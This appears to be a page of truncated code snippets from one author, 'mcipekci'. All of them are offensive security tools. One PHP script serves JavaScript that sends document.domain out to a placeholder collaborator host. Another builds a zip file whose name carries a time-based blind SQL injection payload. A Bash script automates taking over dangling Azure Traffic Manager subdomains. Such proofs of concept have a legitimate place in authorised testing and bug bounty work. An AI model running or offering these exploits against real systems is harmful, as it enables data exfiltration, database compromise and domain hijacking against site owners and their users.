mcipekci

<?php
header("Access-Control-Allow-Origin: *");
header("Access-Control-Allow-Credentials: true");
header("Access-Control-Allow-Methods: GET, POST, OPTIONS");
header("Access-Control-Allow-Headers: DNT,User-Agent,X-Requested-With,If-Modified-Since,Cache-Control,Content-Type,Range");
header("Access-Control-Expose-Headers: Content-Length,Content-Range");
if ($_SERVER["HTTP_SEC_FETCH_DEST"] == "script") {
    header("Content-Type: text/javascript");
    echo "fetch('//collabserver/?url='+document.domain);";
    echo "alert(document.domain)";

mcipekci

<?php
// Prepare File
$file = tempnam("/tmp", "zip");
$zip = new ZipArchive();
$zip->open($file, ZipArchive::OVERWRITE);
// Add file name with SQLi payload
$zip->addFromString("'+(CASE WHEN 1=".$_GET['value']." THEN 1 ELSE sleep(10) END)+'", "");
// Close and send to the server
$zip->close();
$cf = new CURLFile($file);

mcipekci

#!/bin/bash
echo "--------------------------------------"
echo "Trying to takeover $1 on Azure TrafficManager"
domainName=$1.trafficmanager.net
echo "Checking DNS state for $domainName"
dnsState=$(dig $domainName @tm2.msft.net | grep NXDOMAIN)
if [[ ! -z $dnsState ]]; then        
        echo "$1 is pointing NXDOMAIN, trying to create it..."
        NEW_UUID=$(echo $1 | sed 's/\.//g')
        result=$(azure network traffic-manager profile create --name $NEW_UUID -d $domainName -m Performance -p http -p https -r "/" --json 2>/dev/null | jq .profile.domainName | sed 's/\"//g')